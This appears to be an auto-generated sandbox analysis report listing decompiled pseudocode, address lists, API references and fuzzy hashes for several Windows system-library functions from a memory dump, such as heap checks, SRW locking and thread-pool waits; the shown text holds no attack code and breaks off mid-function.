0x6ce01241
0x6ce01244
0x6ce0124b
0x6ce01250
0x6ce01253
0x6ce5eca4
0x6ce5eca7
0x6ce5ecaf
0x6ce5ecc2
0x00000000
0x6ce5ecb1
0x6ce5ecb4
0x6ce5ecba
0x6ce5ecbd
0x00000000
0x6ce5ecbd
0x6ce01259
0x6ce01259
0x6ce01259
0x6ce0125e
0x6ce01261
0x6ce5eccd
0x00000000
0x6ce5ece4
0x6ce5ecea
0x6ce5ecef
0x6ce5ecf5
0x6ce5ed03
0x6ce5ed0b
0x6ce5ed0e
0x6ce5ed0e
0x6ce5ed12
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce5ed12
0x6ce01267
0x6ce01267
0x6ce0126a
0x6ce0126d
0x6ce0126d
0x6ce01270
0x6ce01274
0x6ce5ed3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce0127a
0x6ce0127c
0x6ce5ed57
0x6ce5ed61
0x6ce5ed66
0x6ce5ed71
0x6ce5ed74
0x6ce5ee3d
0x00000000
0x6ce5ed7a
0x6ce5ed7a
0x6ce5ed7d
0x6ce5ee15
0x6ce5ee1e
0x00000000
0x6ce5ee24
0x6ce5ee24
0x6ce5ee27
0x6ce5ee2e
0x00000000
0x6ce5ee34
0x6ce5ee34
0x6ce5ee37
0x00000000
0x6ce5ee37
0x6ce5ee2e
0x6ce5ed83
0x6ce5ed83
0x6ce5ed86
0x6ce5eddc
0x6ce5ede6
0x00000000
0x6ce5edec
0x6ce5edec
0x6ce5edf1
0x00000000
0x6ce5edf7
0x6ce5edf7
0x6ce5edff
0x00000000
0x6ce5ee05
0x6ce5ee08
0x6ce5ee0d
0x6ce5ee10
0x00000000
0x6ce5ee10
0x6ce5edff
0x6ce5edf1
0x6ce5ed88
0x6ce5ed8b
0x00000000
0x6ce5ed91
0x6ce5ed91
0x6ce5ed9b
0x00000000
0x6ce5eda1
0x6ce5eda1
0x6ce5eda6
0x00000000
0x6ce5edbe
0x6ce5edd4
0x6ce5edd7
0x6ce5ee39
0x6ce5ee39
0x6ce5ee40
0x6ce5ee43
0x6ce5ee45
0x6ce5ee47
0x6ce5ee49
0x6ce5ee49
0x6ce5eda6
0x6ce5ed9b
0x6ce5ed8b
0x6ce5ed86
0x6ce5ed7d
0x00000000
0x00000000
0x00000000
0x6ce01282
0x6ce01282
0x6ce01282
0x6ce01284
0x6ce01284
0x6ce0127c
0x6ce01274
0x6ce01261
0x6ce01253
0x00000000
0x6ce5ed18
0x6ce5ed18
0x6ce5ed1b
0x6ce5ed20
0x6ce5ed23
0x6ce5ed26
0x6ce5ed29
0x00000000
0x6ce5ed32
0x6ce01235
0x6ce01289
0x6ce01299
0x00000000
0x6ce5ed42
0x6ce5ed42
0x6ce5ed44
0x6ce5ed47
0x6ce5ed4a
0x00000000

APIs

iswctype.1105(0000000A,00000004), ref: 6CE01244
iswctype.1105(00000000,00000004), ref: 6CE5EC6A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: 1ab0bc0403a23d2e385c0ce3de1c1978aa541e2d4b236346405a5b940dc37c0b
Instruction ID: 360c22dfd72b13315f4d81a5253bf5dd3b7f02c38479b7934e7a043de9d23fae
Opcode Fuzzy Hash: 1ab0bc0403a23d2e385c0ce3de1c1978aa541e2d4b236346405a5b940dc37c0b
Instruction Fuzzy Hash: F0710071F0511A8BDB18CEE8D4807BE73F1AB4630CF74452AD891EBB80D639D961D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE01E50, Relevance: 6.2, APIs: 4, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6CE01E50(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t78;
				unsigned int* _t79;
				intOrPtr _t84;
				signed int _t86;
				signed char _t91;
				signed char _t101;
				signed int _t110;
				signed char _t120;
				unsigned int _t130;
				intOrPtr _t136;
				void* _t142;
				void* _t143;

				_t137 = __esi;
				_push(0x18);
				_push(0x6cedf330);
				E6CE5D08C(__ebx, __edi, __esi);
				_t136 =  *((intOrPtr*)(_t143 + 8));
				 *((intOrPtr*)(_t143 - 0x28)) = _t136;
				_t106 = 0;
				 *((char*)(_t143 - 0x19)) = 0;
				if( *((intOrPtr*)(_t136 + 8)) == 0xddeeddee) {
					 *(_t143 - 0x24) = E6CEB2E4E( *(_t143 + 0xc));
					_t110 =  *(_t136 + 0x28);
					__eflags = _t110;
					if(_t110 != 0) {
						_t84 =  *[fs:0x18];
						__eflags = _t110 -  *((intOrPtr*)(_t84 + 0x24));
						if(_t110 ==  *((intOrPtr*)(_t84 + 0x24))) {
							_t44 = _t143 - 0x24;
							 *_t44 =  *(_t143 - 0x24) | 0x00000001;
							__eflags =  *_t44;
						}
					}
					__eflags =  *0x6cef5cb8 & 0x00000002;
					if(__eflags != 0) {
						__eflags =  *(_t143 + 0x10) - _t106;
						if(__eflags != 0) {
							_t51 = _t143 + 0x10;
							 *_t51 =  *(_t143 + 0x10) -  *((intOrPtr*)( *(_t143 + 0x10) - 8));
							__eflags =  *_t51;
						}
					}
					_t78 = E6CECACFD(_t136,  *(_t143 + 0x10), __eflags,  *(_t136 + 0xc) |  *(_t143 - 0x24), _t106);
					__eflags = _t78;
					if(_t78 != 0) {
						__eflags = _t78 - 0xffffffff;
						if(_t78 != 0xffffffff) {
							 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t143 + 0x14));
							_t106 = 1;
							__eflags = 1;
						}
					}
					__eflags = _t106;
					if(_t106 == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
					}
					_t79 = _t106;
					L15:
					return E6CE5D0D1(_t79);
				}
				_t86 =  *(_t143 + 0xc) |  *(_t136 + 0x44);
				 *(_t143 - 0x24) = _t86;
				if((_t86 & 0x61000000) != 0) {
					__eflags = _t86 & 0x10000000;
					if(__eflags != 0) {
						goto L2;
					}
					_t79 = E6CEC40DC(0, _t136, _t86, _t136, __esi, __eflags,  *(_t143 + 0x10),  *((intOrPtr*)(_t143 + 0x14)));
					goto L15;
				}
				L2:
				if(( *(_t136 + 0x48) & 0x00000001) != 0) {
					_t139 = E6CE01E04(_t136,  *(_t143 + 0x10), _t136, _t137, __eflags);
					L6:
					 *(_t143 - 0x20) = _t139;
					if(_t139 == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
						_t79 = 0;
						goto L15;
					}
					 *(_t143 - 0x1a) = _t106;
					 *(_t143 - 4) = _t106;
					if(( *(_t143 - 0x24) & 0x00000001) == 0) {
						L6CE1EEF0( *((intOrPtr*)(_t136 + 0xc8)));
						 *((char*)(_t143 - 0x19)) = 1;
					}
					_t91 = _t139[1];
					if((_t91 & 0x0000003f) == 0) {
						 *( *[fs:0x18] + 0xbf4) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = RtlNtStatusToDosError(0xc000000d);
						 *(_t143 - 0x20) = _t106;
						goto L38;
					} else {
						if(_t91 < 0) {
							L38:
							_t139 = _t106;
							 *(_t143 - 0x20) = _t106;
							L14:
							 *(_t143 - 4) = 0xfffffffe;
							E6CE01F37(_t106, _t136, _t139);
							_t79 =  *(_t143 - 0x1a);
							goto L15;
						}
						if( *((intOrPtr*)(_t136 + 0x4c)) != _t106) {
							_t130 =  *(_t136 + 0x50) ^  *_t139;
							 *_t139 = _t130;
							_t120 = _t130 >> 0x00000010 ^ _t130 >> 0x00000008 ^ _t130;
							if(_t130 >> 0x18 != _t120) {
								_push(_t120);
								E6CEBFA2B(_t106, _t136, _t139, _t136, _t139, __eflags);
							}
						}
						if((_t139[0] & 0x00000002) != 0) {
							 *((intOrPtr*)(E6CE01F5B(_t139) + 4)) =  *((intOrPtr*)(_t143 + 0x14));
							 *(_t143 - 0x1a) = 1;
						}
						goto L14;
					}
				}
				_t101 =  *(_t143 + 0x10);
				if((_t101 & 0x00000007) != 0) {
					_push(_t106);
					_push(_t106);
					_push(_t101);
					_push(9);
					L34:
					E6CECA80D(_t136);
					_t139 = _t106;
					goto L6;
				}
				_t142 = _t101 - 8;
				if( *((char*)(_t142 + 7)) == 5) {
					_t139 = _t142 - (( *(_t142 + 6) & 0x000000ff) << 3);
				}
				if((_t139[1] & 0x0000003f) == 0) {
					_push(_t108);
					_push(_t106);
					_push(_t106);
					_push(_t139);
					_push(8);
					goto L34;
				} else {
					goto L6;
				}
			}

0x6ce01e50
0x6ce01e50
0x6ce01e52
0x6ce01e57
0x6ce01e5c
0x6ce01e5f
0x6ce01e62
0x6ce01e64
0x6ce01e6e
0x6ce5f1b1
0x6ce5f1b4
0x6ce5f1b7
0x6ce5f1b9
0x6ce5f1bb
0x6ce5f1c1
0x6ce5f1c4
0x6ce5f1c6
0x6ce5f1c6
0x6ce5f1c6
0x6ce5f1c6
0x6ce5f1c4
0x6ce5f1ca
0x6ce5f1d1
0x6ce5f1d3
0x6ce5f1d6
0x6ce5f1de
0x6ce5f1de
0x6ce5f1de
0x6ce5f1de
0x6ce5f1d6
0x6ce5f1ee
0x6ce5f1f3
0x6ce5f1f5
0x6ce5f1f7
0x6ce5f1fa
0x6ce5f1ff
0x6ce5f204
0x6ce5f204
0x6ce5f204
0x6ce5f1fa
0x6ce5f205
0x6ce5f207
0x6ce5f215
0x6ce5f228
0x6ce5f228
0x6ce5f22b
0x6ce01f2f
0x6ce01f34
0x6ce01f34
0x6ce01e77
0x6ce01e7a
0x6ce01e82
0x6ce5f232
0x6ce5f237
0x00000000
0x00000000
0x6ce5f247
0x00000000
0x6ce5f247
0x6ce01e88
0x6ce01e8c
0x6ce5f25b
0x6ce01eb4
0x6ce01eb4
0x6ce01eb9
0x6ce5f298
0x6ce5f2ab
0x6ce5f2ae
0x00000000
0x6ce5f2ae
0x6ce01ebf
0x6ce01ec2
0x6ce01ec9
0x6ce5f2bb
0x6ce5f2c0
0x6ce5f2c0
0x6ce01ecf
0x6ce01ed4
0x6ce5f2d4
0x6ce5f2e7
0x6ce5f2ea
0x00000000
0x6ce01eda
0x6ce01edc
0x6ce5f2ed
0x6ce5f2ed
0x6ce5f2ef
0x6ce01f20
0x6ce01f20
0x6ce01f27
0x6ce01f2c
0x00000000
0x6ce01f2c
0x6ce01ee5
0x6ce01eea
0x6ce01eec
0x6ce01efa
0x6ce01f01
0x6ce5f2f7
0x6ce5f2fc
0x6ce5f2fc
0x6ce01f01
0x6ce01f0b
0x6ce01f17
0x6ce01f1d
0x6ce01f1d
0x00000000
0x6ce01f0b
0x6ce01ed4
0x6ce01e92
0x6ce01e97
0x6ce5f279
0x6ce5f27a
0x6ce5f27b
0x6ce5f27c
0x6ce5f27e
0x6ce5f281
0x6ce5f286
0x00000000
0x6ce5f286
0x6ce01e9d
0x6ce01ea4
0x6ce5f269
0x6ce5f269
0x6ce01eae
0x6ce5f270
0x6ce5f271
0x6ce5f272
0x6ce5f273
0x6ce5f274
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6CEDF330,00000018), ref: 6CE5F223
RtlNtStatusToDosError.1105(C000000D), ref: 6CE5F2A6
RtlEnterCriticalSection.1105(?), ref: 6CE5F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6CE5F2E2

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: fd4daa6be39407dcffddad9dcd0c96333975ec4c36184340c17ae3ef78a4c935
Instruction ID: d8c8bb76285dfc8b21f15c386bf3af0b2b36665202604ed7f23951244d58fb8a
Opcode Fuzzy Hash: fd4daa6be39407dcffddad9dcd0c96333975ec4c36184340c17ae3ef78a4c935
Instruction Fuzzy Hash: 2A51E1B5A016859FDB00CFA8C5807AA7BF1AF4930CF74852DD8655BF40C739E826CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDED52, Relevance: 6.1, APIs: 4, Instructions: 110
timeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E6CEDED52(intOrPtr* __ecx, signed int* __edx) {
				signed int _v8;
				unsigned int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t25;
				signed char _t41;
				intOrPtr* _t49;
				void* _t50;
				signed char _t67;
				signed int _t70;
				signed char _t72;
				signed int* _t79;
				void* _t80;
				signed int _t82;
				void* _t84;
				unsigned int _t86;
				signed int _t90;

				_push(__ecx);
				_push(__ecx);
				_v8 =  *0x6cefd360 ^ _t90;
				_t79 = __edx;
				_t49 = __ecx;
				_t70 = __edx + 8;
				_t82 =  *_t70;
				_t25 = _t82;
				while((_t25 & 0x00ffffff) != 1) {
					_t25 = _t82;
					asm("lock cmpxchg [edx], ecx");
					if(_t25 == _t82) {
						break;
					}
					_t82 = _t25;
				}
				if((_t82 & 0x00ffffff) > 1) {
					L15:
					_pop(_t80);
					_pop(_t84);
					_pop(_t50);
					return E6CE4B640(_t25, _t50, _v8 ^ _t90, _t70, _t80, _t84);
				}
				_t4 = _t49 + 0x1c; // 0x6cef8684
				_t85 = _t4;
				E6CE22280(_t25, _t4);
				_t70 = _t70 | 0xffffffff;
				asm("lock xadd [ecx], eax");
				if((_t70 - 0x00000001 & 0x00ffffff) != 0) {
					_t25 = E6CE1FFB0(_t49, _t79, _t85);
					goto L15;
				}
				_t86 =  *(_t49 + 4);
				_t72 = _t70 << (_t86 & 0x0000001f) & _t79[1];
				_v12 = _t72;
				_t70 = 0;
				_t67 =  *((intOrPtr*)(_t49 + 8)) + ((_t86 >> 0x00000005) - 0x00000001 & (_v12 >> 0x00000018) + ((_v12 >> 0x00000010 & 0x000000ff) + ((_t72 >> 0x00000008 & 0x000000ff) + ((_t72 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025) * 4;
				if(( *_t79 & 0x80000002) == 0x80000002) {
				}
				while(1) {
					_t41 =  *_t67;
					if((_t41 & 0x00000001) != 0) {
						break;
					}
					if(_t41 == _t79) {
						 *_t67 =  *_t79;
						 *_t49 =  *_t49 - 1;
						 *_t79 =  *_t79 | 0x80000002;
						L13:
						_t19 = _t49 + 0x1c; // 0x6cef8683
						E6CE1FFB0(_t49, _t79, _t19);
						 *0x6cefb1e0(_t79,  *((intOrPtr*)(_t49 + 0x28)));
						_t25 =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x24))))();
						goto L15;
					}
					_t67 = _t41;
				}
				goto L13;
			}

0x6ceded57
0x6ceded58
0x6ceded60
0x6ceded66
0x6ceded68
0x6ceded6a
0x6ceded6d
0x6ceded6f
0x6ceded8c
0x6ceded76
0x6ceded82
0x6ceded88
0x00000000
0x00000000
0x6ceded8a
0x6ceded8a
0x6ceded9f
0x6cedee60
0x6cedee63
0x6cedee64
0x6cedee67
0x6cedee70
0x6cedee70
0x6cededa5
0x6cededa5
0x6cededa9
0x6cededae
0x6cededb6
0x6cededc0
0x6cedee5b
0x00000000
0x6cedee5b
0x6cededc6
0x6cededd3
0x6cedede4
0x6cedee15
0x6cedee17
0x6cedee20
0x6cedee20
0x6cedee24
0x6cedee24
0x6cedee28
0x00000000
0x00000000
0x6cedee2c
0x6cedee34
0x6cedee36
0x6cedee38
0x6cedee3e
0x6cedee3e
0x6cedee42
0x6cedee50
0x6cedee56
0x00000000
0x6cedee56
0x6cedee2e
0x6cedee2e
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6CEF8684,6CEF8668,?,?,6CEF8668,6CEF8668,?,6CEDE5F4,?,80000002,6CEF8668,6CEF8660), ref: 6CEDEDA9
RtlReleaseSRWLockExclusive.1105(6CEF8684,6CEF8684,6CEF8668,?,?,6CEF8668,6CEF8668,?,6CEDE5F4,?,80000002,6CEF8668,6CEF8660), ref: 6CEDEE42
RtlDebugPrintTimes.1105(?,?,6CEF8684,6CEF8684,6CEF8668,?,?,6CEF8668,6CEF8668,?,6CEDE5F4,?,80000002,6CEF8668,6CEF8660), ref: 6CEDEE50
RtlReleaseSRWLockExclusive.1105(6CEF8684,6CEF8684,6CEF8668,?,?,6CEF8668,6CEF8668,?,6CEDE5F4,?,80000002,6CEF8668,6CEF8660), ref: 6CEDEE5B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: aedce5c37dc3d704f6aadd6e25f78924a9f3acc91a9610170c49dcccb38ba00f
Instruction ID: ec2d3204e84aba83cba16e70fb82a56c91692c8f28c0fb376280214737c79ad2
Opcode Fuzzy Hash: aedce5c37dc3d704f6aadd6e25f78924a9f3acc91a9610170c49dcccb38ba00f
Instruction Fuzzy Hash: B531E636A018259B8B09CE19CC945A9F7B5EF8A324329426DE816CB795DB34FD42CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2ECE0, Relevance: 6.1, APIs: 4, Instructions: 103
timeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6CE2ECE0(intOrPtr _a4, signed int _a8, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				void* _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t35;
				void* _t41;
				signed char _t51;
				signed int _t57;
				void* _t58;
				void* _t63;
				intOrPtr* _t66;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t76;
				signed int _t78;
				signed int _t80;

				_t80 = (_t78 & 0xfffffff8) - 0xc;
				_v8 =  *0x6cefd360 ^ _t80;
				_t57 = _a8;
				_push(_t72);
				_t70 = _a4;
				_t68 = 0;
				_t59 = _t70;
				if(E6CE2E760(_t70, _t57, 0 | _t57 != 0x00000000) == 0) {
					L15:
					_t35 = 0;
					L11:
					_pop(_t71);
					_pop(_t73);
					_pop(_t58);
					return E6CE4B640(_t35, _t58, _v8 ^ _t80, _t68, _t71, _t73);
				}
				if(_a16 != 0) {
					E6CED88F5(_t57, _t59, 0, _t70, _t72, __eflags);
					goto L15;
				}
				E6CE22280(_t70 + 0x90, _t70 + 0x90);
				_t68 =  *((intOrPtr*)(_t70 + 0x5c)) + 0x40;
				_t41 = E6CE2EDC4( *((intOrPtr*)(_t70 + 0x5c)) + 0x40, 0,  &_v16);
				_t75 = _v24;
				_t63 = _t41;
				_v24 = 0 | _t75 != 0x00000000;
				if(_t57 == 0 ||  *((char*)(_t70 + 0xdf)) != 0) {
					L9:
					E6CE1FFB0(_t57, _t70, _t70 + 0x90);
					if(_t75 < 0) {
						_t76 =  ~_t75;
						asm("lock xadd [edi], eax");
						__eflags =  ~_t76 - _t76;
						if( ~_t76 == _t76) {
							 *0x6cefb1e0(_t70);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t70 + 4))))))();
						}
					}
					_t35 =  *((intOrPtr*)(_t80 + 0x10));
					goto L11;
				} else {
					if(_t63 == 0) {
						_t66 = _a12;
						_t51 =  *(_t70 + 0x124) | 0x00000001;
						 *((intOrPtr*)(_t70 + 0xe8)) = _t57;
						 *(_t70 + 0x124) = _t51;
						__eflags = _t66;
						if(_t66 != 0) {
							 *(_t70 + 0x124) = _t51 | 0x00000002;
							 *((intOrPtr*)(_t70 + 0xf0)) =  *_t66;
							 *((intOrPtr*)(_t70 + 0xf4)) =  *((intOrPtr*)(_t66 + 4));
						}
						L7:
						if(_t75 > 0) {
							asm("lock xadd [edi], esi");
							_t75 = 0;
						}
						goto L9;
					}
					if( *((intOrPtr*)(_t70 + 0xe0)) != 0) {
						goto L9;
					} else {
						_t68 = _t57;
						_t75 = _t75 + E6CE2FC39(_t70, _t57, _a12);
						goto L7;
					}
				}
			}

0x6ce2ece8
0x6ce2ecf2
0x6ce2ecf7
0x6ce2ecfc
0x6ce2ed00
0x6ce2ed07
0x6ce2ed09
0x6ce2ed12
0x6ce742e3
0x6ce742e3
0x6ce2ed9d
0x6ce2eda1
0x6ce2eda2
0x6ce2eda3
0x6ce2edae
0x6ce2edae
0x6ce2ed1c
0x6ce742de
0x00000000
0x6ce742de
0x6ce2ed2c
0x6ce2ed3a
0x6ce2ed3d
0x6ce2ed42
0x6ce2ed46
0x6ce2ed4f
0x6ce2ed55
0x6ce2ed89
0x6ce2ed90
0x6ce2ed97
0x6ce2edb1
0x6ce2edb7
0x6ce2edbb
0x6ce2edbd
0x6ce7432f
0x6ce74335
0x6ce74335
0x6ce2edbd
0x6ce2ed99
0x00000000
0x6ce2ed60
0x6ce2ed62
0x6ce742f0
0x6ce742f3
0x6ce742f5
0x6ce742fb
0x6ce74301
0x6ce74303
0x6ce7430b
0x6ce74313
0x6ce7431c
0x6ce7431c
0x6ce2ed7f
0x6ce2ed81
0x6ce2ed83
0x6ce2ed87
0x6ce2ed87
0x00000000
0x6ce2ed81
0x6ce2ed6f
0x00000000
0x6ce2ed71
0x6ce2ed74
0x6ce2ed7d
0x00000000
0x6ce2ed7d
0x6ce2ed6f

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6CE2ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6CE2ED90
TpSetWaitEx.1105 ref: 6CE742DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6CE7432F

Part of subcall function 6CE2FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6CE2FC71

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: fee33e330e2e5254a51fb90b57d1a066c94d5cb6b5407704196b6717636603f8
Instruction ID: bdb9e37511dd98d491f3653ddc01cd53989659bc561cac37ecc96d611f8e92b3
Opcode Fuzzy Hash: fee33e330e2e5254a51fb90b57d1a066c94d5cb6b5407704196b6717636603f8
Instruction Fuzzy Hash: C631D235604B6BABC714CF34C8447AAB7B5BF85319F244A2AD86987740DB34E825CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBC08A, Relevance: 6.1, APIs: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6CEBC08A(void* __ecx, void* __edx, signed int _a4) {
				int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* _t66;
				void* _t70;
				void* _t78;
				signed int _t79;
				void* _t88;
				intOrPtr* _t92;

				_push(__ecx);
				_push(__ecx);
				_t88 = __ecx;
				_t70 = __edx;
				_t74 = ( *(__edx + 0xa) & 0x0000ffff) << 2;
				_v8 = ( *(__edx + 0xa) & 0x0000ffff) << 2;
				_t92 = __ecx + 0x17c + _a4 %  *(__ecx + 0x178) * 8;
				_v12 = _t92;
				asm("lock inc dword [edi+0x5c]");
				if( *0x6cef7bc8 == 0) {
					E6CE22280(_t92 + 4, _t92 + 4);
					_t74 = _v8;
				}
				while(1) {
					_t92 =  *_t92;
					if(_t92 == 0) {
						break;
					}
					if( *((intOrPtr*)(_t92 + 0xa)) !=  *((intOrPtr*)(_t70 + 0xa))) {
						continue;
					}
					_t66 = E6CE5D4F0(_t92 + 0xc, _t70 + 0xc, _t74);
					_t74 = _v8;
					if(_t66 == _v8) {
						L7:
						_t79 =  *(_t92 + 4) & 0x0000ffff;
						if((_t79 & 0x000007ff) != 0x7ff) {
							 *(_t92 + 4) = (_t79 + 0x00000001 ^ _t79) & 0x000007ff ^ _t79;
						}
						L10:
						if( *0x6cef7bc8 == 0) {
							E6CE1FFB0(_t70, _t88, _v12 + 4);
						}
						return _t92;
					}
				}
				_t92 = E6CEBBFDB(_t88,  *((intOrPtr*)(_t70 + 0xa)));
				if(_t92 == 0) {
					asm("lock inc dword [edi+0x70]");
					goto L10;
				} else {
					_t24 = _t92 + 0xc; // 0xc
					memcpy(_t24, _t70 + 0xc, _v8);
					 *(_t92 + 4) =  *(_t92 + 4) & 0x0000f800;
					 *((short*)(_t92 + 0xa)) =  *((intOrPtr*)(_t70 + 0xa));
					_t78 = _t88 + _a4 %  *(_t88 + 0x178) * 8;
					 *_t92 =  *((intOrPtr*)(_t78 + 0x17c));
					 *((intOrPtr*)(_t78 + 0x17c)) = _t92;
					goto L7;
				}
			}

0x6cebc08f
0x6cebc090
0x6cebc097
0x6cebc099
0x6cebc0ad
0x6cebc0b0
0x6cebc0b3
0x6cebc0b6
0x6cebc0b9
0x6cebc0c4
0x6cebc0ca
0x6cebc0cf
0x6cebc0cf
0x6cebc0f3
0x6cebc0f3
0x6cebc0f7
0x00000000
0x00000000
0x6cebc0dc
0x00000000
0x00000000
0x6cebc0e7
0x6cebc0ec
0x6cebc0f1
0x6cebc14a
0x6cebc14a
0x6cebc15a
0x6cebc165
0x6cebc165
0x6cebc16f
0x6cebc176
0x6cebc17f
0x6cebc17f
0x6cebc18c
0x6cebc18c
0x6cebc0f1
0x6cebc104
0x6cebc108
0x6cebc16b
0x00000000
0x6cebc10a
0x6cebc111
0x6cebc115
0x6cebc123
0x6cebc12f
0x6cebc139
0x6cebc142
0x6cebc144
0x00000000
0x6cebc144

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6CEBBC33,?,C0000002,00000020,?,?), ref: 6CEBC0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6CEBBC33,?,C0000002), ref: 6CEBC115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6CEBBC33,?,C0000002,00000020,?), ref: 6CEBC17F

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: e35c42015fb812b14263f409102239a8148786db024ac24ee4c6ed2470e2aa60
Instruction ID: 92fe6c342707c0db701c9d6f67c06c52e91958484e4c6d9c5059b5de10ce7fba
Opcode Fuzzy Hash: e35c42015fb812b14263f409102239a8148786db024ac24ee4c6ed2470e2aa60
Instruction Fuzzy Hash: 3A31D276A08505ABC714DF68C880AE6B3B9FF44718B24C12DE85DABB01D734E956C794

Uniqueness

Uniqueness Score: -1.00%

Function 6CED8050, Relevance: 6.1, APIs: 4, Instructions: 78
threadCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6CED8050(void* __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t5;
				signed int _t6;
				signed int _t8;
				signed int _t13;
				signed int _t19;
				signed int _t24;
				signed int _t27;
				signed int _t29;

				_push(__ecx);
				_t5 =  *0x7ffe03c0;
				_t13 = _t5 << 3;
				if(_t13 < 0x300) {
					_t13 = 0x300;
				}
				_t6 = _t5 << 2;
				_v8 = _t6;
				if(_t6 < 0x180) {
					_t6 = 0x180;
					_v8 = 0x180;
				}
				_t19 =  *0x6cef8754;
				_t27 = _a4;
				if(_t19 != 0) {
					__eflags = _t27 - _t19;
					if(_t27 <= _t19) {
						goto L23;
					}
					goto L9;
				} else {
					if(_t27 <= _t6) {
						L23:
						return _t6;
					}
					_t6 = _t13;
					if(_t27 <= _t13) {
						L10:
						if(_t6 == 0) {
							goto L23;
						}
						E6CE22280(_t6, 0x6cef86c4);
						_t8 =  *0x6cef8754;
						_t24 = 0;
						if(_t8 != 0) {
							__eflags = _t27 - _t8;
